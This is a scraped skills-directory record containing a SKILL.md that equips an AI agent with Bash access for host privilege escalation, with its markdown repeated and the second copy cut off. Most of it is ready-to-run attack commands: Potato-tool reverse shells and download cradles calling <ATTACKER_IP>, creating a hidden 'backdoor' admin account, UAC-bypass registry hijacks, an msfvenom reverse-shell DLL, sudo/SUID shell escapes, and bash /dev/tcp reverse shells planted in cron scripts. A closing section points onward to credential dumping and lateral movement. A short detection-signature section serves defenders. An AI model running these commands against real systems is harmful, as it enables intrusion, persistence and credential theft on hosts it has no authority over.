[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DG5GCTFX7T4K6BC33R6H2X":3,"skill-same:01M7DG5GCTFX7T4K6BC33R6H2X":49},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":14,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":34,"install":35,"resources":48},"01M7DG5GCTFX7T4K6BC33R6H2X","privilege-escalation",null,"Host privilege escalation — Windows token impersonation, UAC bypass, service abuse, DLL hijacking, Linux SUID\u002Fsudo\u002Fkernel exploits, automated enumeration.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fpost-exploit\u002Fprivilege-escalation\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: privilege-escalation\ndescription: \"Host privilege escalation — Windows token impersonation, UAC bypass, service abuse, DLL hijacking, Linux SUID\u002Fsudo\u002Fkernel exploits, automated enumeration.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: privilege-escalation\n  when_to_use: \"privilege escalation, privesc, potato, PrintSpoofer, UAC bypass, SUID, sudo, winPEAS, linPEAS, kernel exploit, service abuse\"\n  tags: privesc, potato, uac, suid, sudo, kernel, service, dll-hijack, winpeas, linpeas\n  mitre_attack: T1134.001, T1548.002, T1574.001, T1068, T1053.003\n---\n\n# Privilege Escalation Knowledge Base\n\nPrivilege escalation raises access from a low-privilege foothold to SYSTEM\u002Froot or administrative context. Windows and Linux have fundamentally different escalation paths. Always enumerate before exploiting — automated tools identify the fastest route.\n\n## Quick Reference\n```bash\n# Windows — GodPotato (service account → SYSTEM)\nGodPotato.exe -cmd \"cmd \u002Fc whoami > C:\\Windows\\Temp\\proof.txt\"\n\n# Windows — PrintSpoofer (service account → SYSTEM)\nPrintSpoofer.exe -i -c cmd\n\n# Windows — winPEAS automated enumeration\nwinPEASx64.exe servicesinfo applicationsinfo > C:\\Windows\\Temp\\winpeas.txt\n\n# Linux — linPEAS automated enumeration\n.\u002Flinpeas.sh -a | tee linpeas_\u003CTARGET>.txt\n\n# Linux — find SUID binaries\nfind \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull | tee suid_\u003CTARGET>.txt\n\n# Linux — check sudo privileges\nsudo -l\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tools |\n|-------------|------|-------|\n| T1134.001 | Token Impersonation\u002FTheft | GodPotato, PrintSpoofer, SigmaPotato |\n| T1548.002 | Bypass UAC | fodhelper.exe, eventvwr.exe, CMSTPLUA COM |\n| T1574.001 | DLL Search Order Hijacking | Custom DLL placement |\n| T1068 | Exploitation for Privilege Escalation | Kernel exploits, linux-exploit-suggester |\n| T1053.003 | Scheduled Task\u002FCron | Writable cron scripts, PATH injection |\n\n## 1. Windows Token Impersonation — Potato Family\n\n### GodPotato (Most Versatile)\n```powershell\n# Execute command as SYSTEM (DCOM-based token impersonation)\nGodPotato.exe -cmd \"cmd \u002Fc whoami\"\n\n# Reverse shell as SYSTEM\nGodPotato.exe -cmd \"cmd \u002Fc C:\\Windows\\Temp\\nc.exe \u003CATTACKER_IP> 4444 -e cmd.exe\"\n\n# Add local admin user\nGodPotato.exe -cmd \"net user backdoor P@ssw0rd123 \u002Fadd && net localgroup administrators backdoor \u002Fadd\"\n\n# Execute PowerShell payload\nGodPotato.exe -cmd \"powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http:\u002F\u002F\u003CATTACKER_IP>\u002Fshell.ps1')\"\n```\n\n**GodPotato Details:**\n- Works on Windows 8 through 11, Server 2012 through 2022\n- Exploits DCOM (Distributed COM) OXID resolver\n- Requires: `SeImpersonatePrivilege` or `SeAssignPrimaryTokenPrivilege`\n- Common contexts: IIS AppPool, SQL Server, service accounts\n\n### PrintSpoofer (Print Spooler Named Pipe)\n```powershell\n# Interactive SYSTEM shell\nPrintSpoofer.exe -i -c cmd\n\n# Execute specific command as SYSTEM\nPrintSpoofer.exe -c \"cmd \u002Fc whoami > C:\\Windows\\Temp\\proof.txt\"\n\n# Reverse shell\nPrintSpoofer.exe -c \"C:\\Windows\\Temp\\nc.exe \u003CATTACKER_IP> 4444 -e cmd.exe\"\n\n# With PowerShell\nPrintSpoofer.exe -i -c powershell.exe\n```\n\n**PrintSpoofer Details:**\n- Works on Windows 10, Server 2016 and 2019\n- Exploits Print Spooler service named pipe impersonation\n- Requires: `SeImpersonatePrivilege`\n- May fail if Print Spooler service is disabled (hardened environments)\n\n### SigmaPotato (Extended GodPotato Fork)\n```powershell\n# Standard SYSTEM execution\nSigmaPotato.exe --revshell -l \u003CATTACKER_IP> -p 4444\n\n# Execute arbitrary command\nSigmaPotato.exe \"cmd \u002Fc whoami\"\n\n# Uses .NET reflection for in-memory execution\nSigmaPotato.exe \"powershell -ep bypass -c Get-Process\"\n```\n\n**SigmaPotato Details:**\n- Extended OS support beyond GodPotato\n- Uses .NET reflection for flexibility\n- Same prerequisites: `SeImpersonatePrivilege`\n\n### Choosing the Right Potato\n\n| Tool | OS Range | Method | Best For |\n|------|----------|--------|----------|\n| GodPotato | Win 8-11, 2012-2022 | DCOM OXID | Default choice, widest support |\n| PrintSpoofer | Win 10, 2016-2019 | Print Spooler pipe | When Spooler is running |\n| SigmaPotato | Extended range | DCOM + .NET reflection | GodPotato alternative |\n| JuicyPotato | Win 7-10, 2008-2016 | DCOM BITS | Legacy systems only |\n| RoguePotato | Win 10 1809+, 2019 | OXID + RPC | When OXID resolver patched |\n\n### Check Prerequisites\n```powershell\n# Verify you have impersonation privileges\nwhoami \u002Fpriv\n# Look for: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege\n\n# Common service accounts with SeImpersonatePrivilege:\n# - IIS AppPool\\DefaultAppPool\n# - NT Service\\MSSQLSERVER\n# - Local Service \u002F Network Service (some configs)\n```\n\n## 2. UAC Bypass Techniques\n\n### fodhelper.exe Bypass\n```powershell\n# Set registry key to execute payload when fodhelper runs\nreg add HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command \u002Fd \"C:\\Windows\\Temp\\payload.exe\" \u002Ff\nreg add HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command \u002Fv DelegateExecute \u002Ft REG_SZ \u002Ff\n\n# Trigger UAC bypass\nfodhelper.exe\n\n# Cleanup\nreg delete HKCU\\Software\\Classes\\ms-settings \u002Ff\n```\n\n### eventvwr.exe Bypass\n```powershell\n# Set registry hijack for Event Viewer\nreg add HKCU\\Software\\Classes\\mscfile\\Shell\\Open\\command \u002Fd \"C:\\Windows\\Temp\\payload.exe\" \u002Ff\n\n# Trigger bypass\neventvwr.exe\n\n# Cleanup\nreg delete HKCU\\Software\\Classes\\mscfile \u002Ff\n```\n\n### CMSTPLUA COM Object Bypass\n```powershell\n# PowerShell COM object UAC bypass\n$com = [Activator]::CreateInstance([Type]::GetTypeFromCLSID(\"3E5FC7F9-9A51-4367-9063-A120244FBEC7\"))\n$com.ShellExec(\"cmd.exe\", \"\u002Fc C:\\Windows\\Temp\\payload.exe\", \"\", \"runas\", 0)\n```\n\n### UAC Bypass Prerequisites\n```\n- User must be in local Administrators group\n- UAC must NOT be set to \"Always Notify\" (highest setting)\n- ConsentPromptBehaviorAdmin != 2 (require consent on secure desktop)\n- Check: reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\n  - EnableLUA = 1 (UAC enabled)\n  - ConsentPromptBehaviorAdmin = 5 (default — bypassable)\n```\n\n## 3. Windows Service Abuse\n\n### Unquoted Service Paths\n```powershell\n# Find unquoted service paths\nwmic service get name,displayname,pathname,startmode | findstr \u002Fi \"auto\" | findstr \u002Fi \u002Fv \"c:\\windows\\\\\" | findstr \u002Fi \u002Fv \"\"\"\n\n# Example vulnerable path:\n# C:\\Program Files\\Vulnerable App\\Service Binary\\app.exe\n# Windows tries: C:\\Program.exe → C:\\Program Files\\Vulnerable.exe → ...\n\n# Exploit: place binary in writable path segment\ncopy C:\\Windows\\Temp\\payload.exe \"C:\\Program Files\\Vulnerable.exe\"\n\n# Restart service (requires service restart permission or reboot)\nsc stop \u003CSERVICE_NAME> && sc start \u003CSERVICE_NAME>\n```\n\n### Weak Service Permissions\n```powershell\n# Check service permissions with accesschk\naccesschk.exe \u002Faccepteula -uwcqv \"\u003CUSERNAME>\" * | findstr \u002Fi \"RW\"\n\n# Check specific service\nsc qc \u003CSERVICE_NAME>\naccesschk.exe \u002Faccepteula -ucqv \u003CSERVICE_NAME>\n\n# If SERVICE_CHANGE_CONFIG is granted:\nsc config \u003CSERVICE_NAME> binpath= \"C:\\Windows\\Temp\\payload.exe\"\nsc stop \u003CSERVICE_NAME>\nsc start \u003CSERVICE_NAME>\n\n# SharpUp automated check\nSharpUp.exe ModifiableServices\n```\n\n### DLL Hijacking\n```powershell\n# Identify DLL search order hijacking opportunities\n# 1. Find services loading missing DLLs (Process Monitor)\n# 2. Find writable directories in DLL search path\n\n# Common hijackable DLLs:\n# - Application directory DLLs loaded before System32\n# - Missing DLLs that services try to load\n\n# Create malicious DLL (on attacker machine)\nmsfvenom -p windows\u002Fx64\u002Fshell_reverse_tcp LHOST=\u003CATTACKER_IP> LPORT=4444 -f dll -o hijack.dll\n\n# Place DLL in writable directory that appears before legitimate DLL path\ncopy hijack.dll \"C:\\Program Files\\VulnApp\\missing.dll\"\n\n# Trigger DLL load (restart service or wait for scheduled execution)\nsc stop \u003CSERVICE_NAME> && sc start \u003CSERVICE_NAME>\n```\n\n## 4. Linux Privilege Escalation\n\n### SUID\u002FSGID Binaries\n```bash\n# Find all SUID binaries\nfind \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull | tee suid_\u003CTARGET>.txt\n\n# Find SGID binaries\nfind \u002F -perm -2000 -type f 2>\u002Fdev\u002Fnull\n\n# Cross-reference with GTFOBins for escalation\n# Common exploitable SUID binaries:\n# \u002Fusr\u002Fbin\u002Ffind      → find . -exec \u002Fbin\u002Fsh -p \\;\n# \u002Fusr\u002Fbin\u002Fvim       → vim -c ':!sh'\n# \u002Fusr\u002Fbin\u002Fpython3   → python3 -c 'import os; os.execl(\"\u002Fbin\u002Fsh\",\"sh\",\"-p\")'\n# \u002Fusr\u002Fbin\u002Fbash      → bash -p\n# \u002Fusr\u002Fbin\u002Fenv       → env \u002Fbin\u002Fsh -p\n# \u002Fusr\u002Fbin\u002Fnmap      → nmap --interactive → !sh (old versions)\n# \u002Fusr\u002Fbin\u002Fcp        → cp \u002Fetc\u002Fshadow \u002Ftmp\u002Fshadow (read sensitive files)\n# \u002Fusr\u002Fbin\u002Fwget      → overwrite \u002Fetc\u002Fpasswd with crafted version\n\n# Example: SUID python3\n\u002Fusr\u002Fbin\u002Fpython3 -c 'import os; os.setuid(0); os.system(\"\u002Fbin\u002Fbash\")'\n\n# Example: SUID find\n\u002Fusr\u002Fbin\u002Ffind \u002F -name \"anything\" -exec \u002Fbin\u002Fbash -p \\; -quit\n```\n\n### Sudo Misconfigurations\n```bash\n# Check sudo privileges\nsudo -l\n\n# Common exploitable sudo entries:\n# (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fvim\nsudo vim -c ':!sh'\n\n# (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fless\nsudo less \u002Fetc\u002Fshadow\n# Then type: !sh\n\n# (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fawk\nsudo awk 'BEGIN {system(\"\u002Fbin\u002Fsh\")}'\n\n# (root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind\nsudo find \u002F -name anything -exec \u002Fbin\u002Fsh \\; -quit\n\n# (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fpython3\nsudo python3 -c 'import os; os.system(\"\u002Fbin\u002Fbash\")'\n\n# (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fenv\nsudo env \u002Fbin\u002Fsh\n\n# (root) NOPASSWD: \u002Fusr\u002Fbin\u002Ftar\nsudo tar -cf \u002Fdev\u002Fnull \u002Fdev\u002Fnull --checkpoint=1 --checkpoint-action=exec=\u002Fbin\u002Fsh\n\n# (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fzip\nsudo zip \u002Ftmp\u002Fa.zip \u002Ftmp\u002Fa -T --unzip-command=\"sh -c \u002Fbin\u002Fsh\"\n\n# LD_PRELOAD exploit (if env_keep += LD_PRELOAD in sudoers)\n# Compile: gcc -fPIC -shared -o \u002Ftmp\u002Fpe.so pe.c -nostartfiles\n# pe.c: void _init() { setuid(0); system(\"\u002Fbin\u002Fbash\"); }\nsudo LD_PRELOAD=\u002Ftmp\u002Fpe.so \u003Callowed_command>\n```\n\n### Linux Capabilities\n```bash\n# Find binaries with capabilities\ngetcap -r \u002F 2>\u002Fdev\u002Fnull | tee capabilities_\u003CTARGET>.txt\n\n# Exploitable capabilities:\n# cap_setuid+ep on python3\n\u002Fusr\u002Fbin\u002Fpython3 -c 'import os; os.setuid(0); os.system(\"\u002Fbin\u002Fbash\")'\n\n# cap_setuid+ep on perl\n\u002Fusr\u002Fbin\u002Fperl -e 'use POSIX (setuid); POSIX::setuid(0); exec \"\u002Fbin\u002Fbash\";'\n\n# cap_dac_read_search+ep (read any file)\n# Can read \u002Fetc\u002Fshadow, SSH keys, etc.\n\n# cap_net_raw+ep (raw sockets — packet capture)\n# Can sniff network traffic without root\n```\n\n### Cron Job Exploitation\n```bash\n# Enumerate cron jobs\ncat \u002Fetc\u002Fcrontab\nls -la \u002Fetc\u002Fcron.*\ncrontab -l\nls -la \u002Fvar\u002Fspool\u002Fcron\u002Fcrontabs\u002F\n\n# Find writable cron scripts\nfind \u002Fetc\u002Fcron* -writable -type f 2>\u002Fdev\u002Fnull\nls -la \u002Fetc\u002Fcron.d\u002F\n\n# Writable script in cron — inject reverse shell\necho 'bash -i >& \u002Fdev\u002Ftcp\u002F\u003CATTACKER_IP>\u002F4444 0>&1' >> \u002Fopt\u002Fscripts\u002Fbackup.sh\n\n# PATH injection in cron\n# If crontab has: PATH=\u002Fhome\u002Fuser\u002Fbin:\u002Fusr\u002Fbin:\u002Fbin\n# And runs: * * * * * root backup.sh\n# Create: \u002Fhome\u002Fuser\u002Fbin\u002Fbackup.sh with payload\n\n# Cron wildcard injection (tar)\n# If cron runs: tar czf \u002Fbackup\u002Ffiles.tar.gz *\n# In the target directory:\necho 'bash -i >& \u002Fdev\u002Ftcp\u002F\u003CATTACKER_IP>\u002F4444 0>&1' > shell.sh\ntouch -- \"--checkpoint=1\"\ntouch -- \"--checkpoint-action=exec=sh shell.sh\"\n\n# pspy — monitor cron and process execution without root\n.\u002Fpspy64 | tee pspy_\u003CTARGET>.txt\n```\n\n### Kernel Exploits\n```bash\n# Gather kernel information\nuname -a\ncat \u002Fetc\u002Fos-release\ncat \u002Fproc\u002Fversion\n\n# linux-exploit-suggester\n.\u002Flinux-exploit-suggester.sh | tee kernel_vulns_\u003CTARGET>.txt\n\n# linux-exploit-suggester-2 (Python)\npython3 linux-exploit-suggester-2.py | tee kernel_vulns2_\u003CTARGET>.txt\n\n# Common kernel exploits (verify applicability before running):\n# CVE-2021-4034 — PwnKit (pkexec, polkit \u003C 0.120)\n# CVE-2022-0847 — DirtyPipe (Linux 5.8-5.16.11)\n# CVE-2022-2588 — route4 use-after-free (Linux 5.x)\n# CVE-2023-0386 — OverlayFS (Ubuntu, various kernels)\n# CVE-2023-32233 — nf_tables (Linux \u003C 6.3.2)\n\n# IMPORTANT: Kernel exploits can crash the system.\n# Always check exact kernel version, distribution, and patch level.\n# Test in non-production first when possible.\n```\n\n## 5. Automated Enumeration Tools\n\n### winPEAS (Windows)\n```powershell\n# Full enumeration\nwinPEASx64.exe | tee C:\\Windows\\Temp\\winpeas.txt\n\n# Specific checks\nwinPEASx64.exe servicesinfo          # Service misconfigurations\nwinPEASx64.exe applicationsinfo      # Installed applications\nwinPEASx64.exe windowscreds          # Cached credentials, DPAPI\nwinPEASx64.exe userinfo              # User privilege info\nwinPEASx64.exe systeminfo            # OS, hotfixes, AV\n\n# Quiet mode (less output)\nwinPEASx64.exe quiet servicesinfo windowscreds\n```\n\n### linPEAS (Linux)\n```bash\n# Full enumeration\n.\u002Flinpeas.sh -a 2>&1 | tee linpeas_\u003CTARGET>.txt\n\n# From remote without touching disk\ncurl -sSL https:\u002F\u002F\u003CATTACKER_IP>\u002Flinpeas.sh | bash | tee linpeas_\u003CTARGET>.txt\n\n# Key sections to review:\n# [+] SUID binaries\n# [+] Capabilities\n# [+] Sudo -l\n# [+] Writable files\u002Fdirs\n# [+] Cron jobs\n# [+] Kernel version (CVEs)\n# [+] Interesting files (passwords, keys)\n```\n\n### SharpUp (Windows .NET)\n```powershell\n# All checks\nSharpUp.exe audit\n\n# Specific checks\nSharpUp.exe ModifiableServices\nSharpUp.exe ModifiableServiceBinaries\nSharpUp.exe AlwaysInstallElevated\nSharpUp.exe UnquotedServicePath\nSharpUp.exe TokenPrivileges\n```\n\n### BeRoot (Cross-Platform)\n```bash\n# Windows\nbeRoot.exe\n\n# Linux\npython3 beroot.py\n\n# Checks common escalation vectors automatically\n```\n\n## Tools & Resources\n\n| Tool | Platform | Purpose | Key Usage |\n|------|----------|---------|-----------|\n| GodPotato | Windows | DCOM token impersonation | `-cmd \"command\"` |\n| PrintSpoofer | Windows | Spooler pipe impersonation | `-i -c cmd` |\n| SigmaPotato | Windows | Extended DCOM impersonation | `\"command\"` |\n| winPEAS | Windows | Automated privesc enumeration | `servicesinfo`, `windowscreds` |\n| linPEAS | Linux | Automated privesc enumeration | `-a` full audit |\n| SharpUp | Windows | .NET privesc checker | `audit`, `ModifiableServices` |\n| BeRoot | Both | Cross-platform privesc check | Auto-detect vectors |\n| linux-exploit-suggester | Linux | Kernel exploit identification | Matches kernel version to CVEs |\n| pspy | Linux | Process\u002Fcron monitoring (no root) | `.\u002Fpspy64` |\n| accesschk.exe | Windows | ACL\u002Fpermission checker | `-uwcqv` service permissions |\n| GTFOBins | Linux | SUID\u002Fsudo exploit reference | https:\u002F\u002Fgtfobins.github.io |\n\n## Detection Signatures\n\n| Indicator | Source | Description |\n|-----------|--------|-------------|\n| DCOM OXID resolver calls | Network\u002FETW | GodPotato\u002FSigmaPotato DCOM manipulation |\n| 7045 (Service Install) | System | New service created — service abuse, Potato tools |\n| 4688 + elevated token | Security | Process created with elevated token after impersonation |\n| Registry: ms-settings | Sysmon 13 | fodhelper UAC bypass registry modification |\n| Registry: mscfile | Sysmon 13 | eventvwr UAC bypass registry modification |\n| Named pipe: \\pipe\\spoolss | Sysmon 17\u002F18 | PrintSpoofer pipe impersonation |\n| SUID execution anomaly | Auditd | Unexpected SUID binary execution |\n| Sudo log anomaly | auth.log | Unusual sudo command patterns |\n| Cron script modification | Auditd\u002FAIDE | Changes to scheduled task scripts |\n| Kernel exploit indicators | EDR\u002FAV | Known exploit signatures, memory corruption |\n\n### Key Detection Rules\n```\n# Potato DCOM detection\n- Process spawned by service account executing as SYSTEM\n- Unusual DCOM\u002FRPC traffic patterns from service context\n\n# UAC bypass detection (Sysmon EventID 13 — Registry value set)\n- TargetObject|contains:\n    - 'ms-settings\\Shell\\Open\\command'     # fodhelper\n    - 'mscfile\\Shell\\Open\\command'         # eventvwr\n\n# Service abuse detection (EventID 7045)\n- ServiceFileName|contains:\n    - '\\Temp\\'\n    - '\\Users\\'\n    - Unsigned binaries in non-standard paths\n\n# Linux — suspicious SUID\u002Fcapability usage\n- Unexpected setuid(0) calls from non-standard binaries\n- getcap showing new capabilities on user-writable binaries\n```\n\n## Decision Gate\n\n```\nPrivilege Escalation ─┬─► Credential Access\n                      │    (SYSTEM\u002Froot context enables LSASS dump, shadow read, key extraction)\n                      │\n                      └─► Persistence\n                           (elevated privileges allow service install, scheduled task, rootkit)\n```\n\n**Next steps after privilege escalation:**\n- **SYSTEM on Windows** → Dump LSASS, SAM\u002FSECURITY hives → Credential Access skill\n- **SYSTEM on Domain-joined host** → Extract cached domain credentials → Credential Access skill\n- **root on Linux** → Read \u002Fetc\u002Fshadow, SSH keys, extract secrets → Credential Access skill\n- **Local Admin** → Install persistence mechanism → Persistence\n- **Service account → SYSTEM** → Pivot to credential extraction before moving laterally → Credential Access → Lateral Movement skill\n- **Need domain escalation** → Use extracted creds for AD attacks → Credential Access skill\n","# Privilege Escalation Knowledge Base\n\nPrivilege escalation raises access from a low-privilege foothold to SYSTEM\u002Froot or administrative context. Windows and Linux have fundamentally different escalation paths. Always enumerate before exploiting — automated tools identify the fastest route.\n\n## Quick Reference\n```bash\n# Windows — GodPotato (service account → SYSTEM)\nGodPotato.exe -cmd \"cmd \u002Fc whoami > C:\\Windows\\Temp\\proof.txt\"\n\n# Windows — PrintSpoofer (service account → SYSTEM)\nPrintSpoofer.exe -i -c cmd\n\n# Windows — winPEAS automated enumeration\nwinPEASx64.exe servicesinfo applicationsinfo > C:\\Windows\\Temp\\winpeas.txt\n\n# Linux — linPEAS automated enumeration\n.\u002Flinpeas.sh -a | tee linpeas_\u003CTARGET>.txt\n\n# Linux — find SUID binaries\nfind \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull | tee suid_\u003CTARGET>.txt\n\n# Linux — check sudo privileges\nsudo -l\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tools |\n|-------------|------|-------|\n| T1134.001 | Token Impersonation\u002FTheft | GodPotato, PrintSpoofer, SigmaPotato |\n| T1548.002 | Bypass UAC | fodhelper.exe, eventvwr.exe, CMSTPLUA COM |\n| T1574.001 | DLL Search Order Hijacking | Custom DLL placement |\n| T1068 | Exploitation for Privilege Escalation | Kernel exploits, linux-exploit-suggester |\n| T1053.003 | Scheduled Task\u002FCron | Writable cron scripts, PATH injection |\n\n## 1. Windows Token Impersonation — Potato Family\n\n### GodPotato (Most Versatile)\n```powershell\n# Execute command as SYSTEM (DCOM-based token impersonation)\nGodPotato.exe -cmd \"cmd \u002Fc whoami\"\n\n# Reverse shell as SYSTEM\nGodPotato.exe -cmd \"cmd \u002Fc C:\\Windows\\Temp\\nc.exe \u003CATTACKER_IP> 4444 -e cmd.exe\"\n\n# Add local admin user\nGodPotato.exe -cmd \"net user backdoor P@ssw0rd123 \u002Fadd && net localgroup administrators backdoor \u002Fadd\"\n\n# Execute PowerShell payload\nGodPotato.exe -cmd \"powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http:\u002F\u002F\u003CATTACKER_IP>\u002Fshell.ps1')\"\n```\n\n**GodPotato Details:**\n- Works on Windows 8 through 11, Server 2012 through 2022\n- Exploits DCOM (Distributed COM) OXID resolver\n- Requires: `SeImpersonatePrivilege` or `SeAssignPrimaryTokenPrivilege`\n- Common contexts: IIS AppPool, SQL Server, service accounts\n\n### PrintSpoofer (Print Spooler Named Pipe)\n```powershell\n# Interactive SYSTEM shell\nPrintSpoofer.exe -i -c cmd\n\n# Execute specific command as SYSTEM\nPrintSpoofer.exe -c \"cmd \u002Fc whoami > C:\\Windows\\Temp\\proof.txt\"\n\n# Reverse shell\nPrintSpoofer.exe -c \"C:\\Windows\\Temp\\nc.exe \u003CATTACKER_IP> 4444 -e cmd.exe\"\n\n# With PowerShell\nPrintSpoofer.exe -i -c powershell.exe\n```\n\n**PrintSpoofer Details:**\n- Works on Windows 10, Server 2016 and 2019\n- Exploits Print Spooler service named pipe impersonation\n- Requires: `SeImpersonatePrivilege`\n- May fail if Print Spooler service is disabled (hardened environments)\n\n### SigmaPotato (Extended GodPotato Fork)\n```powershell\n# Standard SYSTEM execution\nSigmaPotato.exe --revshell -l \u003CATTACKER_IP> -p 4444\n\n# Execute arbitrary command\nSigmaPotato.exe \"cmd \u002Fc whoami\"\n\n# Uses .NET reflection for in-memory execution\nSigmaPotato.exe \"powershell -ep bypass -c Get-Process\"\n```\n\n**SigmaPotato Details:**\n- Extended OS support beyond GodPotato\n- Uses .NET reflection for flexibility\n- Same prerequisites: `SeImpersonatePrivilege`\n\n### Choosing the Right Potato\n\n| Tool | OS Range | Method | Best For |\n|------|----------|--------|----------|\n| GodPotato | Win 8-11, 2012-2022 | DCOM OXID | Default choice, widest support |\n| PrintSpoofer | Win 10, 2016-2019 | Print Spooler pipe | When Spooler is running |\n| SigmaPotato | Extended range | DCOM + .NET reflection | GodPotato alternative |\n| JuicyPotato | Win 7-10, 2008-2016 | DCOM BITS | Legacy systems only |\n| RoguePotato | Win 10 1809+, 2019 | OXID + RPC | When OXID resolver patched |\n\n### Check Prerequisites\n```powershell\n# Verify you have impersonation privileges\nwhoami \u002Fpriv\n# Look for: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege\n\n# Common service accounts with SeImpersonatePrivilege:\n# - IIS AppPool\\DefaultAppPool\n# - NT Service\\MSSQLSERVER\n# - Local Service \u002F Network Service (some configs)\n```\n\n## 2. UAC Bypass Techniques\n\n### fodhelper.exe Bypass\n```powershell\n# Set registry key to execute payload when fodhelper runs\nreg add HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command \u002Fd \"C:\\Windows\\Temp\\payload.exe\" \u002Ff\nreg add HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command \u002Fv DelegateExecute \u002Ft REG_SZ \u002Ff\n\n# Trigger UAC bypass\nfodhelper.exe\n\n# Cleanup\nreg delete HKCU\\Software\\Classes\\ms-settings \u002Ff\n```\n\n### eventvwr.exe Bypass\n```powershell\n# Set registry hijack for Event Viewer\nreg add HKCU\\Software\\Classes\\mscfile\\Shell\\Open\\command \u002Fd \"C:\\Windows\\Temp\\payload.exe\" \u002Ff\n\n# Trigger bypass\neventvwr.exe\n\n# Cleanup\nreg delete HKCU\\Software\\Classes\\mscfile \u002Ff\n```\n\n### CMSTPLUA COM Object Bypass\n```powershell\n# PowerShell COM object UAC bypass\n$com = [Activator]::CreateInstance([Type]::GetTypeFromCLSID(\"3E5FC7F9-9A51-4367-9063-A120244FBEC7\"))\n$com.ShellExec(\"cmd.exe\", \"\u002Fc C:\\Windows\\Temp\\payload.exe\", \"\", \"runas\", 0)\n```\n\n### UAC Bypass Prerequisites\n```\n- User must be in local Administrators group\n- UAC must NOT be set to \"Always Notify\" (highest setting)\n- ConsentPromptBehaviorAdmin != 2 (require consent on secure desktop)\n- Check: reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\n  - EnableLUA = 1 (UAC enabled)\n  - ConsentPromptBehaviorAdmin = 5 (default — bypassable)\n```\n\n## 3. Windows Service Abuse\n\n### Unquoted Service Paths\n```powershell\n# Find unquoted service paths\nwmic service get name,displayname,pathname,startmode | findstr \u002Fi \"auto\" | findstr \u002Fi \u002Fv \"c:\\windows\\\\\" | findstr \u002Fi \u002Fv \"\"\"\n\n# Example vulnerable path:\n# C:\\Program Files\\Vulnerable App\\Service Binary\\app.exe\n# Windows tries: C:\\Program.exe → C:\\Program Files\\Vulnerable.exe → ...\n\n# Exploit: place binary in writable path segment\ncopy C:\\Windows\\Temp\\payload.exe \"C:\\Program Files\\Vulnerable.exe\"\n\n# Restart service (requires service restart permission or reboot)\nsc stop \u003CSERVICE_NAME> && sc start \u003CSERVICE_NAME>\n```\n\n### Weak Service Permissions\n```powershell\n# Check service permissions with accesschk\naccesschk.exe \u002Faccepteula -uwcqv \"\u003CUSERNAME>\" * | findstr \u002Fi \"RW\"\n\n# Check specific service\nsc qc \u003CSERVICE_NAME>\naccesschk.exe \u002Faccepteula -ucqv \u003CSERVICE_NAME>\n\n# If SERVICE_CHANGE_CONFIG is granted:\nsc config \u003CSERVICE_NAME> binpath= \"C:\\Windows\\Temp\\payload.exe\"\nsc stop \u003CSERVICE_NAME>\nsc start \u003CSERVICE_NAME>\n\n# SharpUp automated check\nSharpUp.exe ModifiableServices\n```\n\n### DLL Hijacking\n```powershell\n# Identify DLL search order hijacking opportunities\n# 1. Find services loading missing DLLs (Process Monitor)\n# 2. Find writable directories in DLL search path\n\n# Common hijackable DLLs:\n# - Application directory DLLs loaded before System32\n# - Missing DLLs that services try to load\n\n# Create malicious DLL (on attacker machine)\nmsfvenom -p windows\u002Fx64\u002Fshell_reverse_tcp LHOST=\u003CATTACKER_IP> LPORT=4444 -f dll -o hijack.dll\n\n# Place DLL in writable directory that appears before legitimate DLL path\ncopy hijack.dll \"C:\\Program Files\\VulnApp\\missing.dll\"\n\n# Trigger DLL load (restart service or wait for scheduled execution)\nsc stop \u003CSERVICE_NAME> && sc start \u003CSERVICE_NAME>\n```\n\n## 4. Linux Privilege Escalation\n\n### SUID\u002FSGID Binaries\n```bash\n# Find all SUID binaries\nfind \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull | tee suid_\u003CTARGET>.txt\n\n# Find SGID binaries\nfind \u002F -perm -2000 -type f 2>\u002Fdev\u002Fnull\n\n# Cross-reference with GTFOBins for escalation\n# Common exploitable SUID binaries:\n# \u002Fusr\u002Fbin\u002Ffind      → find . -exec \u002Fbin\u002Fsh -p \\;\n# 